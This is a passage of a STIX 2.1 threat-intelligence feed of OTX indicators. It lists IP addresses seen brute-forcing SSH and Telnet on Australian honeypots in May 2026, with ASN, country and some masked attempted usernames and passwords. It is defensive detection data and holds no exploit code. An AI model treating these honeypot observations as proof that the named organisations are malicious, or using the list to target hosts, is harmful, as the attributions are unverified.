      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T10:15:10.000Z",
      "valid_until": "2026-06-09T10:15:08.000Z"
    },
    {
      "created": "2026-05-08T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--1e651680-ee9a-4c8b-bfcd-f9f11583b547",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '157.245.147.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T10:15:10.000Z",
      "valid_until": "2026-06-09T10:15:08.000Z"
    },
    {
      "created": "2026-05-08T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 53225. Organisation(s): IPGLOBE INTERNET LTDA.",
      "id": "indicator--755bf520-81cf-4cca-8d1f-ebd3b6975a90",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.251.131.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T10:15:10.000Z",
      "valid_until": "2026-06-09T10:15:08.000Z"
    },
    {
      "created": "2026-05-08T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PA. ASN(s): 18809. Organisation(s): Cable Onda.",
      "id": "indicator--24568f1e-103e-471a-89eb-eee06043e558",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.140.23.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T10:15:10.000Z",
      "valid_until": "2026-06-09T10:15:08.000Z"
    },
    {
      "created": "2026-05-08T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--08dc8ed5-5cf6-4064-8729-a06aa0ffe3bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.95.10.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T10:15:10.000Z",
      "valid_until": "2026-06-09T10:15:08.000Z"
    },
    {
      "created": "2026-05-08T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--6ae22280-6ab6-4956-bf8a-2cd6169fdf9f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.143.151.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T10:15:10.000Z",
      "valid_until": "2026-06-09T10:15:08.000Z"
    },
    {
      "created": "2026-05-08T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--a6c87e35-4308-4931-b560-ada215349a3e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.64.104.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T10:15:10.000Z",
      "valid_until": "2026-06-09T10:15:08.000Z"
    },
    {
      "created": "2026-05-08T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 53610. Organisation(s): Metro Communications Company, Inc..",
      "id": "indicator--d5bc94c1-e7c1-401a-b8ef-dff0252ce1e1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '209.113.173.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T10:15:10.000Z",
      "valid_until": "2026-06-09T10:15:08.000Z"
    },
    {
      "created": "2026-05-08T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 207728. Organisation(s): EUROHOSTER Ltd..",
      "id": "indicator--36f530cd-14de-4b77-ad3a-088bdf0802c1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.210.173.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T10:15:10.000Z",
      "valid_until": "2026-06-09T10:15:08.000Z"
    },
    {
      "created": "2026-05-08T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AE. ASN(s): 36680. Organisation(s): Netiface LLC. Usernames observed (masked): s*****e. Passwords observed (masked): s*****e.",
      "id": "indicator--acec5631-2c3e-453b-a6a2-12b1625001dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.57.216.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T10:15:10.000Z",
      "valid_until": "2026-06-09T10:15:08.000Z"
    },
    {
      "created": "2026-05-08T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 72. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********2, H**********************3.",
      "id": "indicator--92d042e3-708b-446b-84bc-95db8e1994dc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.14.1.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T10:15:10.000Z",
      "valid_until": "2026-06-09T10:15:08.000Z"
    },
    {
      "created": "2026-05-08T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 35608. Organisation(s): R-line 1 LLC.",
      "id": "indicator--57c4dc66-a8a5-4b96-a3a2-e0288b0f3678",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.136.144.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T10:15:10.000Z",
      "valid_until": "2026-06-09T10:15:08.000Z"
    },
    {
      "created": "2026-05-08T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SA. ASN(s): 35819. Organisation(s): Etihad Etisalat, a joint stock company.",
      "id": "indicator--be7e927d-a2c4-4c03-bf04-6051bf788d8e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.109.57.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T10:15:10.000Z",
      "valid_until": "2026-06-09T10:15:08.000Z"
    },
    {
      "created": "2026-05-08T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 19871. Organisation(s): Network Solutions, LLC.",
      "id": "indicator--2e18c045-d286-45f5-9a90-d4b5eeac0cf5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '50.6.197.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T10:15:10.000Z",
      "valid_until": "2026-06-09T10:15:08.000Z"
    },
    {
      "created": "2026-05-08T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--9b1ba935-590a-416e-a4e5-9be1df709177",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.91.111.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T10:15:10.000Z",
      "valid_until": "2026-06-09T10:15:08.000Z"
    },
    {
      "created": "2026-05-08T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 59711. Organisation(s): HZ Hosting Ltd.",
      "id": "indicator--1acb1fa4-fc6a-4fc7-8275-1cc1ad822694",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.158.110.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T10:15:10.000Z",
      "valid_until": "2026-06-09T10:15:08.000Z"
    },
    {
      "created": "2026-05-08T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BG. ASN(s): 213035. Organisation(s): Des Capital B.V..",
      "id": "indicator--7dea1523-4eee-4e89-855d-e7aa56b51ea4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '87.121.69.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T10:15:10.000Z",
      "valid_until": "2026-06-09T10:15:08.000Z"
    },
    {
      "created": "2026-05-08T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 37611. Organisation(s): AFRIHOST-SP.",
      "id": "indicator--f92241e2-270b-47bc-8b79-6546a8e87163",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.182.190.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T11:15:05.000Z",
      "valid_until": "2026-06-09T11:15:03.000Z"
    },
    {
      "created": "2026-05-08T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--a402db5e-22e1-42f4-8fdf-8bc856f9ac00",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.26.82.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T11:15:05.000Z",
      "valid_until": "2026-06-09T11:15:03.000Z"
    },
    {
      "created": "2026-05-08T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 23470. Organisation(s): ReliableSite.Net LLC.",
      "id": "indicator--a02ee538-2749-4738-b07d-f1960180dba0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.194.8.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T11:15:05.000Z",
      "valid_until": "2026-06-09T11:15:03.000Z"
    },
    {
      "created": "2026-05-08T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KE. ASN(s): 33771. Organisation(s): SAFARICOM-LIMITED.",
      "id": "indicator--e489b2d7-a160-4f82-b428-05d742dcdee4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '105.163.157.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T11:15:05.000Z",
      "valid_until": "2026-06-09T11:15:03.000Z"
    },
    {
      "created": "2026-05-08T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 141679. Organisation(s): China Telecom Beijing Tianjin Hebei Big Data Industry Park Branch. Usernames observed (masked): d******r. Passwords observed (masked): d***********4.",
      "id": "indicator--539d64e2-1d23-4c74-96b2-a83428a1366e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '111.228.36.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T11:15:05.000Z",
      "valid_until": "2026-06-09T11:15:03.000Z"
    },
    {
      "created": "2026-05-08T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 152. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137693. Organisation(s): CHINATELECOM Guangxi Nanning IDC networkdescr: NanningGuangxi Province, P.R.China.. Usernames observed (masked): a***n, f*****r, u****u, 3**********4, r**t. Passwords observed (masked): 1***5, 1****6, 3***********4, 3**********4, P**S.",
      "id": "indicator--1468ce08-6409-424a-9f8f-013252bf61bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.226.216.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T11:15:05.000Z",
      "valid_until": "2026-06-09T11:15:03.000Z"
    },
    {
      "created": "2026-05-08T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36680. Organisation(s): Netiface LLC. Usernames observed (masked): r**t. Passwords observed (masked): r**t.",
      "id": "indicator--459ab818-b9ec-4179-873c-b7a6d279ebca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '130.12.181.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T11:15:05.000Z",
      "valid_until": "2026-06-09T11:15:03.000Z"
    },
    {
      "created": "2026-05-08T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 263791. Organisation(s): REFSA TELECOMUNICACIONES.",
      "id": "indicator--d0f5c303-f82e-4ad2-af03-9b96424ac165",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.121.113.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T11:15:05.000Z",
      "valid_until": "2026-06-09T11:15:03.000Z"
    },
    {
      "created": "2026-05-08T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--50695176-2728-4be1-ac85-fe8a0f5c8e7e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.1.104.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T11:15:05.000Z",
      "valid_until": "2026-06-09T11:15:03.000Z"
    },
    {
      "created": "2026-05-08T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 263703. Organisation(s): VIGINET C.A.",
      "id": "indicator--2230ba0b-cfc7-443a-a9aa-35e213d672f7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '143.255.85.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T11:15:05.000Z",
      "valid_until": "2026-06-09T11:15:03.000Z"
    },
    {
      "created": "2026-05-08T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--54b368b7-6a92-48cd-a6f9-d7ada7806f66",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T11:15:05.000Z",
      "valid_until": "2026-06-09T11:15:03.000Z"
    },
    {
      "created": "2026-05-08T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--c6f0b318-ede3-4225-a276-508bbb2a4dda",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '173.236.101.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T11:15:05.000Z",
      "valid_until": "2026-06-09T11:15:03.000Z"
    },
    {
      "created": "2026-05-08T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 198584. Organisation(s): PIO-Hosting GmbH.",
      "id": "indicator--76b7ccfc-31ba-4d34-9b56-abc9e20a13a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.131.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T11:15:05.000Z",
      "valid_until": "2026-06-09T11:15:03.000Z"
    },
    {
      "created": "2026-05-08T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GT. ASN(s): 14754. Organisation(s): TELECOMUNICACIONES DE GUATEMALA, SOCIEDAD ANONIMA.",
      "id": "indicator--1b5c27bf-018d-4236-b3e0-e2e48a96695f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.143.186.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T11:15:05.000Z",
      "valid_until": "2026-06-09T11:15:03.000Z"
    },
    {
      "created": "2026-05-08T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VG. ASN(s): 215224. Organisation(s): NovoServe B.V..",
      "id": "indicator--ceac965d-25de-4c60-9bf2-6bfa58a50a78",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.142.3.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T11:15:05.000Z",
      "valid_until": "2026-06-09T11:15:03.000Z"
    },
    {
      "created": "2026-05-08T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IM. ASN(s): 13122. Organisation(s): Manx Telecom Trading Ltd.",
      "id": "indicator--c781fbf9-abc0-4143-ac89-0e92ccb3e5d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.226.185.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T11:15:05.000Z",
      "valid_until": "2026-06-09T11:15:03.000Z"
    },
    {
      "created": "2026-05-08T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--670efe8e-9289-4bed-bcf3-61f68df618b3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.95.32.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T11:15:05.000Z",
      "valid_until": "2026-06-09T11:15:03.000Z"
    },
    {
      "created": "2026-05-08T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--7bdde897-e524-46ab-b528-bf90ef894e24",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.75.149.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T11:15:05.000Z",
      "valid_until": "2026-06-09T11:15:03.000Z"
    },
    {
      "created": "2026-05-08T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc..",
      "id": "indicator--2f438faf-ccdd-4aa4-8b97-6ed092e4b28b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.240.192.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T11:15:05.000Z",
      "valid_until": "2026-06-09T11:15:03.000Z"
    },
    {
      "created": "2026-05-08T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--c00cad4c-9a83-4e5e-9b78-82d2a98eef3c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '74.249.129.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T11:15:05.000Z",
